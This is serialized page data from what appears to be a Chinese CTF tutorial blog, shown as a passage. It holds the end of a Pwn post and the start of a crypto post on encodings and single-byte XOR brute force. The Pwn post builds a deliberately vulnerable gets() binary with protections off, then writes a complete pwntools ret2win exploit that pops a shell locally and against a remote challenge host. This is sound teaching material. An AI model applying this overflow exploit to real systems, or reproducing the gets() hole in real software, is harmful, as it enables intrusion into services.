gets(buf);\n",[29,2572,2573],{"class":31,"line":190},[29,2574,2551],{},[29,2576,2577],{"class":31,"line":677},[29,2578,42],{"emptyLinePlaceholder":41},[29,2580,2581],{"class":31,"line":683},[29,2582,2583],{},"int main() {\n",[29,2585,2586],{"class":31,"line":689},[29,2587,2588],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[29,2590,2591],{"class":31,"line":695},[29,2592,2593],{},"    puts(\"Hello, what's your name?\");\n",[29,2595,2597],{"class":31,"line":2596},16,[29,2598,2599],{},"    vuln();\n",[29,2601,2603],{"class":31,"line":2602},17,[29,2604,2605],{},"    puts(\"Bye!\");\n",[29,2607,2609],{"class":31,"line":2608},18,[29,2610,2611],{},"    return 0;\n",[29,2613,2615],{"class":31,"line":2614},19,[29,2616,2551],{},[15,2618,2619],{},"编译（关闭金丝雀和 PIE，方便入门）：",[19,2621,2623],{"className":113,"code":2622,"language":115,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[26,2624,2625,2645,2650],{"__ignoreMap":24},[29,2626,2627,2630,2633,2636,2639,2642],{"class":31,"line":32},[29,2628,2629],{"class":122},"gcc",[29,2631,2632],{"class":815}," -o",[29,2634,2635],{"class":126}," vuln",[29,2637,2638],{"class":126}," vuln.c",[29,2640,2641],{"class":815}," -fno-stack-protector",[29,2643,2644],{"class":815}," -no-pie\n",[29,2646,2647],{"class":31,"line":38},[29,2648,2649],{"class":807},"# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[29,2651,2652],{"class":31,"line":45},[29,2653,2654],{"class":807},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2656,2658],{"id":2657},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2660,2661,2663],{},[216,2662,218],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2665,2666,2668],{},[216,2667,224],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2670,1270],{},[19,2672,2674],{"className":113,"code":2673,"language":115,"meta":24,"style":24},"pwn checksec ./vuln\n",[26,2675,2676],{"__ignoreMap":24},[29,2677,2678,2681,2684],{"class":31,"line":32},[29,2679,2680],{"class":122},"pwn",[29,2682,2683],{"class":126}," checksec",[29,2685,2686],{"class":126}," ./vuln\n",[15,2688,261],{},[19,2690,2693],{"className":2691,"code":2692,"language":477,"meta":24},[475],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[26,2694,2692],{"__ignoreMap":24},[15,2696,2697],{},"只看三行：",[342,2699,2700,2712],{},[345,2701,2702],{},[348,2703,2704,2707,2709],{},[351,2705,2706],{},"行",[351,2708,1604],{},[351,2710,2711],{},"对我们意味着什么",[361,2713,2714,2727,2740],{},[348,2715,2716,2721,2724],{},[366,2717,2718],{},[26,2719,2720],{},"Stack: No canary found",[366,2722,2723],{},"没有栈金丝雀",[366,2725,2726],{},"可以直接覆盖返回地址",[348,2728,2729,2734,2737],{},[366,2730,2731],{},[26,2732,2733],{},"NX: NX enabled",[366,2735,2736],{},"栈不可执行",[366,2738,2739],{},"不能放 shellcode（本阶段先不管）",[348,2741,2742,2747,2750],{},[366,2743,2744],{},[26,2745,2746],{},"PIE: No PIE",[366,2748,2749],{},"程序地址固定",[366,2751,2752,2755],{},[26,2753,2754],{},"win"," 的地址可以直接写进 payload",[10,2757,2759],{"id":2758},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2761,2762,2765],{},[26,2763,2764],{},"vuln"," 被调用时栈上自低到高：",[19,2767,2770],{"className":2768,"code":2769,"language":477,"meta":24},[475],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[26,2771,2769],{"__ignoreMap":24},[15,2773,2774,2775,2778],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[26,2776,2777],{},"cyclic"," 验证：",[19,2780,2782],{"className":21,"code":2781,"language":23,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[26,2783,2784,2789,2793,2798,2803,2808,2813,2818,2823,2828,2833,2838,2843],{"__ignoreMap":24},[29,2785,2786],{"class":31,"line":32},[29,2787,2788],{},"from pwn import *\n",[29,2790,2791],{"class":31,"line":38},[29,2792,42],{"emptyLinePlaceholder":41},[29,2794,2795],{"class":31,"line":45},[29,2796,2797],{},"p = process('./vuln')\n",[29,2799,2800],{"class":31,"line":51},[29,2801,2802],{},"p.sendline(cyclic(200))\n",[29,2804,2805],{"class":31,"line":56},[29,2806,2807],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[29,2809,2810],{"class":31,"line":62},[29,2811,2812],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[29,2814,2815],{"class":31,"line":68},[29,2816,2817],{},"p.wait()\n",[29,2819,2820],{"class":31,"line":74},[29,2821,2822],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[29,2824,2825],{"class":31,"line":179},[29,2826,2827],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[29,2829,2830],{"class":31,"line":185},[29,2831,2832],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[29,2834,2835],{"class":31,"line":190},[29,2836,2837],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[29,2839,2840],{"class":31,"line":677},[29,2841,2842],{},"print(offset)\n",[29,2844,2845],{"class":31,"line":683},[29,2846,2847],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2849,261,2850,458],{},[26,2851,2852],{},"40",[10,2854,2856],{"id":2855},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[235,2858,2860],{"id":2859},"api-1elf读符号地址","API 1：ELF——读符号地址",[19,2862,2864],{"className":21,"code":2863,"language":23,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[26,2865,2866,2870,2874,2879,2884,2889,2894],{"__ignoreMap":24},[29,2867,2868],{"class":31,"line":32},[29,2869,2788],{},[29,2871,2872],{"class":31,"line":38},[29,2873,42],{"emptyLinePlaceholder":41},[29,2875,2876],{"class":31,"line":45},[29,2877,2878],{},"elf = ELF('./vuln')\n",[29,2880,2881],{"class":31,"line":51},[29,2882,2883],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[29,2885,2886],{"class":31,"line":56},[29,2887,2888],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[29,2890,2891],{"class":31,"line":62},[29,2892,2893],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[29,2895,2896],{"class":31,"line":68},[29,2897,2898],{},"print(hex(elf.symbols['win']))\n",[15,2900,261],{},[19,2902,2905],{"className":2903,"code":2904,"language":477,"meta":24},[475],"0x401176\n",[26,2906,2904],{"__ignoreMap":24},[235,2908,2910],{"id":2909},"api-2process启动程序","API 2：process——启动程序",[19,2912,2913],{"className":21,"code":2797,"language":23,"meta":24,"style":24},[26,2914,2915],{"__ignoreMap":24},[29,2916,2917],{"class":31,"line":32},[29,2918,2797],{},[15,2920,2921,2922,435,2925,2928],{},"启动本地进程，之后用 ",[26,2923,2924],{},"p.sendline()",[26,2926,2927],{},"p.recvuntil()"," 交互。远程题目改成：",[19,2930,2932],{"className":21,"code":2931,"language":23,"meta":24,"style":24},"p = remote('1.2.3.4', 10001)\n",[26,2933,2934],{"__ignoreMap":24},[29,2935,2936],{"class":31,"line":32},[29,2937,2931],{},[235,2939,2941],{"id":2940},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[19,2943,2945],{"className":21,"code":2944,"language":23,"meta":24,"style":24},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[26,2946,2947,2952,2957,2962,2967,2972,2977,2982],{"__ignoreMap":24},[29,2948,2949],{"class":31,"line":32},[29,2950,2951],{},"payload = b'A' * 40 + p64(0x401176)\n",[29,2953,2954],{"class":31,"line":38},[29,2955,2956],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[29,2958,2959],{"class":31,"line":45},[29,2960,2961],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[29,2963,2964],{"class":31,"line":51},[29,2965,2966],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[29,2968,2969],{"class":31,"line":56},[29,2970,2971],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[29,2973,2974],{"class":31,"line":62},[29,2975,2976],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[29,2978,2979],{"class":31,"line":68},[29,2980,2981],{},"p.sendline(payload)\n",[29,2983,2984],{"class":31,"line":74},[29,2985,2986],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2988,2989,2992,2993,2996],{},[26,2990,2991],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[26,2994,2995],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2998,3000],{"id":2999},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,3002,3003,3005],{},[216,3004,218],{},"：把前三步串成完整 exploit。",[15,3007,3008,3010],{},[216,3009,224],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[19,3012,3014],{"className":21,"code":3013,"language":23,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[26,3015,3016,3020,3024,3028,3032,3036,3041,3046,3051,3056,3060,3065,3070,3075],{"__ignoreMap":24},[29,3017,3018],{"class":31,"line":32},[29,3019,2788],{},[29,3021,3022],{"class":31,"line":38},[29,3023,42],{"emptyLinePlaceholder":41},[29,3025,3026],{"class":31,"line":45},[29,3027,2878],{},[29,3029,3030],{"class":31,"line":51},[29,3031,2797],{},[29,3033,3034],{"class":31,"line":56},[29,3035,42],{"emptyLinePlaceholder":41},[29,3037,3038],{"class":31,"line":62},[29,3039,3040],{},"p.recvuntil(b'name?')\n",[29,3042,3043],{"class":31,"line":68},[29,3044,3045],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[29,3047,3048],{"class":31,"line":74},[29,3049,3050],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[29,3052,3053],{"class":31,"line":179},[29,3054,3055],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[29,3057,3058],{"class":31,"line":185},[29,3059,2981],{},[29,3061,3062],{"class":31,"line":190},[29,3063,3064],{},"# 触发溢出：覆盖返回地址为 win。\n",[29,3066,3067],{"class":31,"line":677},[29,3068,3069],{},"p.interactive()\n",[29,3071,3072],{"class":31,"line":683},[29,3073,3074],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[29,3076,3077],{"class":31,"line":689},[29,3078,3079],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3081,3082],{},"预期结果：",[19,3084,3087],{"className":3085,"code":3086,"language":477,"meta":24},[475],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[26,3088,3086],{"__ignoreMap":24},[15,3090,3091,3092,3095,3096,3099],{},"程序跳到了 ",[26,3093,3094],{},"win()","，执行 ",[26,3097,3098],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3101,3103],{"id":3102},"八必学工具","八、必学工具",[342,3105,3106,3118],{},[345,3107,3108],{},[348,3109,3110,3112,3115],{},[351,3111,2139],{},[351,3113,3114],{},"3 个核心功能",[351,3116,3117],{},"示例",[361,3119,3120,3147,3160],{},[348,3121,3122,3125,3144],{},[366,3123,3124],{},"pwntools",[366,3126,3127,3130,3131,1110,3133,3136,3137,3139,3140,3143],{},[26,3128,3129],{},"ELF()"," 读符号、",[26,3132,2777],{},[26,3134,3135],{},"cyclic_find"," 找偏移、",[26,3138,2991],{},"+",[26,3141,3142],{},"sendline"," 构造发送",[366,3145,3146],{},"见上文",[348,3148,3149,3152,3155],{},[366,3150,3151],{},"checksec",[366,3153,3154],{},"查看栈保护、NX、PIE",[366,3156,3157],{},[26,3158,3159],{},"pwn checksec ./vuln",[348,3161,3162,3165,3168],{},[366,3163,3164],{},"GDB（+pwndbg）",[366,3166,3167],{},"断点、看栈、单步",[366,3169,3170,435,3173,435,3176],{},[26,3171,3172],{},"break vuln",[26,3174,3175],{},"x/20gx $rsp",[26,3177,3178],{},"continue",[10,3180,3182],{"id":3181},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3184,978,3185,3188,3189,458],{},[26,3186,3187],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[26,3190,2764],{},[15,3192,3193],{},"第一步，本地验证：",[19,3195,3197],{"className":113,"code":3196,"language":115,"meta":24,"style":24},"python3 exploit.py\n",[26,3198,3199],{"__ignoreMap":24},[29,3200,3201,3204],{"class":31,"line":32},[29,3202,3203],{"class":122},"python3",[29,3205,3206],{"class":126}," exploit.py\n",[15,3208,3209,3210,3213,3214,3217],{},"第二步，把 ",[26,3211,3212],{},"process('./vuln')"," 改成 ",[26,3215,3216],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3219,3220,3222],{},[216,3221,218],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3224,3225,3227],{},[216,3226,1745],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[19,3229,3231],{"className":21,"code":3230,"language":23,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[26,3232,3233,3237,3241,3245,3249,3254,3259,3263,3267,3271,3276,3281],{"__ignoreMap":24},[29,3234,3235],{"class":31,"line":32},[29,3236,2788],{},[29,3238,3239],{"class":31,"line":38},[29,3240,42],{"emptyLinePlaceholder":41},[29,3242,3243],{"class":31,"line":45},[29,3244,2878],{},[29,3246,3247],{"class":31,"line":51},[29,3248,2931],{},[29,3250,3251],{"class":31,"line":56},[29,3252,3253],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[29,3255,3256],{"class":31,"line":62},[29,3257,3258],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[29,3260,3261],{"class":31,"line":68},[29,3262,42],{"emptyLinePlaceholder":41},[29,3264,3265],{"class":31,"line":74},[29,3266,3055],{},[29,3268,3269],{"class":31,"line":179},[29,3270,2981],{},[29,3272,3273],{"class":31,"line":185},[29,3274,3275],{},"p.sendline(b'cat flag')\n",[29,3277,3278],{"class":31,"line":190},[29,3279,3280],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[29,3282,3283],{"class":31,"line":677},[29,3284,3069],{},[15,3286,261],{},[19,3288,3291],{"className":3289,"code":3290,"language":477,"meta":24},[475],"flag{ret2win}\n",[26,3292,3290],{"__ignoreMap":24},[10,3294,3296],{"id":3295},"十小结","十、小结",[15,3298,3299,3300,3302,3303,3305,3306,3308],{},"Pwn 入门主线：",[26,3301,3151],{}," 判断能不能直接打 → ",[26,3304,2777],{}," 确定偏移 → ",[26,3307,2991],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1116,3310,3311],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":38,"depth":38,"links":3313},[3314,3315,3316,3317,3318,3319,3320,3321,3322,3323],{"id":2463,"depth":45,"text":2464},{"id":1211,"depth":45,"text":1212},{"id":2511,"depth":45,"text":2512},{"id":2657,"depth":45,"text":2658},{"id":2758,"depth":45,"text":2759},{"id":2855,"depth":45,"text":2856},{"id":2999,"depth":45,"text":3000},{"id":3102,"depth":45,"text":3103},{"id":3181,"depth":45,"text":3182},{"id":3295,"depth":45,"text":3296},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1132,"image":3326,"alt":3327,"tags":3328,"published":41},"/blogs-img/blog2.png","CTF Pwn 入门",[1136,2680,1139],"/blogs/ctf-pwn-overview",{"title":2458,"description":3324},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3334,"title":3335,"body":3336,"description":4327,"extension":1130,"meta":4328,"navigation":41,"ogImage":4329,"path":4333,"seo":4334,"stem":4335,"__hash__":4336},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3337,"toc":4317},[3338,3342,3345,3412,3415,3501,3504,3510,3513,3537,3539,3545,3547,3567,3577,3581,3592,3596,3601,3645,3647,3653,3657,3662,3675,3748,3750,3756,3762,3766,3772,3802,3806,3809,3873,3875,3881,3885,3889,3892,3896,3901,3906,3947,3951,4078,4080,4086,4096,4098,4102,4105,4143,4147,4176,4180,4183,4212,4214,4220,4224,4227,4232,4235,4243,4302,4304,4309,4311,4314],[10,3339,3341],{"id":3340},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3343,3344],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[342,3346,3347,3360],{},[345,3348,3349],{},[348,3350,3351,3354,3357],{},[351,3352,3353],{},"编码",[351,3355,3356],{},"现实应用",[351,3358,3359],{},"例子",[361,3361,3362,3378,3397],{},[348,3363,3364,3367,3370],{},[366,3365,3366],{},"Base64",[366,3368,3369],{},"邮件附件（MIME）、JWT 令牌、Data URI",[366,3371,3372,1103,3375],{},[26,3373,3374],{},"ZmxhZw==",[26,3376,3377],{},"flag",[348,3379,3380,3383,3390],{},[366,3381,3382],{},"Hex",[366,3384,3385,3386,3389],{},"颜色值 ",[26,3387,3388],{},"#FF0000","、MAC 地址、哈希摘要",[366,3391,3392,1103,3395],{},[26,3393,3394],{},"666c6167",[26,3396,3377],{},[348,3398,3399,3402,3405],{},[366,3400,3401],{},"URL 编码",[366,3403,3404],{},"浏览器地址栏中的中文与特殊字符",[366,3406,3407,1103,3410],{},[26,3408,3409],{},"%66%6c%61%67",[26,3411,3377],{},[15,3413,3414],{},"先运行最小的解码例子：",[19,3416,3418],{"className":21,"code":3417,"language":23,"meta":24,"style":24},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[26,3419,3420,3425,3430,3434,3439,3444,3449,3453,3458,3463,3468,3472,3477,3482,3487,3491,3496],{"__ignoreMap":24},[29,3421,3422],{"class":31,"line":32},[29,3423,3424],{},"import base64\n",[29,3426,3427],{"class":31,"line":38},[29,3428,3429],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[29,3431,3432],{"class":31,"line":45},[29,3433,42],{"emptyLinePlaceholder":41},[29,3435,3436],{"class":31,"line":51},[29,3437,3438],{},"print(base64.b64encode(b\"flag\"))\n",[29,3440,3441],{"class":31,"line":56},[29,3442,3443],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[29,3445,3446],{"class":31,"line":62},[29,3447,3448],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[29,3450,3451],{"class":31,"line":68},[29,3452,42],{"emptyLinePlaceholder":41},[29,3454,3455],{"class":31,"line":74},[29,3456,3457],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[29,3459,3460],{"class":31,"line":179},[29,3461,3462],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[29,3464,3465],{"class":31,"line":185},[29,3466,3467],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[29,3469,3470],{"class":31,"line":190},[29,3471,42],{"emptyLinePlaceholder":41},[29,3473,3474],{"class":31,"line":677},[29,3475,3476],{},"print(bytes.fromhex(\"666c6167\"))\n",[29,3478,3479],{"class":31,"line":683},[29,3480,3481],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[29,3483,3484],{"class":31,"line":689},[29,3485,3486],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[29,3488,3489],{"class":31,"line":695},[29,3490,42],{"emptyLinePlaceholder":41},[29,3492,3493],{"class":31,"line":2596},[29,3494,3495],{},"print(b\"flag\".hex())\n",[29,3497,3498],{"class":31,"line":2602},[29,3499,3500],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3502,3503],{},"实际输出：",[19,3505,3508],{"className":3506,"code":3507,"language":477,"meta":24},[475],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[26,3509,3507],{"__ignoreMap":24},[15,3511,3512],{},"URL 编码：",[19,3514,3516],{"className":21,"code":3515,"language":23,"meta":24,"style":24},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[26,3517,3518,3523,3527,3532],{"__ignoreMap":24},[29,3519,3520],{"class":31,"line":32},[29,3521,3522],{},"from urllib.parse import quote, unquote\n",[29,3524,3525],{"class":31,"line":38},[29,3526,42],{"emptyLinePlaceholder":41},[29,3528,3529],{"class":31,"line":45},[29,3530,3531],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[29,3533,3534],{"class":31,"line":51},[29,3535,3536],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3538,3503],{},[19,3540,3543],{"className":3541,"code":3542,"language":477,"meta":24},[475],"%E4%BD%A0%E5%A5%BD\nflag\n",[26,3544,3542],{"__ignoreMap":24},[10,3546,1212],{"id":1211},[19,3548,3550],{"className":113,"code":3549,"language":115,"meta":24,"style":24},"pip3 install pycryptodome sympy gmpy2\n",[26,3551,3552],{"__ignoreMap":24},[29,3553,3554,3556,3558,3561,3564],{"class":31,"line":32},[29,3555,2503],{"class":122},[29,3557,127],{"class":126},[29,3559,3560],{"class":126}," pycryptodome",[29,3562,3563],{"class":126}," sympy",[29,3565,3566],{"class":126}," gmpy2\n",[15,3568,3569,3570],{},"浏览器打开 CyberChef（",[3571,3572,3576],"a",{"href":3573,"rel":3574},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3575],"nofollow","https://gchq.github.io/CyberChef）。",[10,3578,3580],{"id":3579},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3582,3583,3584,3587,3588,3591],{},"异或的性质：",[26,3585,3586],{},"A ^ B = C","，且 ",[26,3589,3590],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[235,3593,3595],{"id":3594},"_31-加密","3.1 加密",[15,3597,3598,3600],{},[216,3599,218],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[19,3602,3604],{"className":21,"code":3603,"language":23,"meta":24,"style":24},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[26,3605,3606,3611,3616,3620,3625,3630,3635,3640],{"__ignoreMap":24},[29,3607,3608],{"class":31,"line":32},[29,3609,3610],{},"plain = b\"flag{xor_is_easy}\"\n",[29,3612,3613],{"class":31,"line":38},[29,3614,3615],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[29,3617,3618],{"class":31,"line":45},[29,3619,42],{"emptyLinePlaceholder":41},[29,3621,3622],{"class":31,"line":51},[29,3623,3624],{},"cipher = bytes([b ^ key for b in plain])\n",[29,3626,3627],{"class":31,"line":56},[29,3628,3629],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[29,3631,3632],{"class":31,"line":62},[29,3633,3634],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[29,3636,3637],{"class":31,"line":68},[29,3638,3639],{},"print(cipher.hex())\n",[29,3641,3642],{"class":31,"line":74},[29,3643,3644],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3646,3503],{},[19,3648,3651],{"className":3649,"code":3650,"language":477,"meta":24},[475],"242e2325393a2d301d2b311d2723313b3f\n",[26,3652,3650],{"__ignoreMap":24},[235,3654,3656],{"id":3655},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3658,3659,3661],{},[216,3660,218],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3663,3664,3666,3667,3670,3671,3674],{},[216,3665,224],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[26,3668,3669],{},"flag{"," 开头，这就是天然的判据。用 ",[26,3672,3673],{},"b\"flag{\" in plain"," 过滤即可。",[19,3676,3678],{"className":21,"code":3677,"language":23,"meta":24,"style":24},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 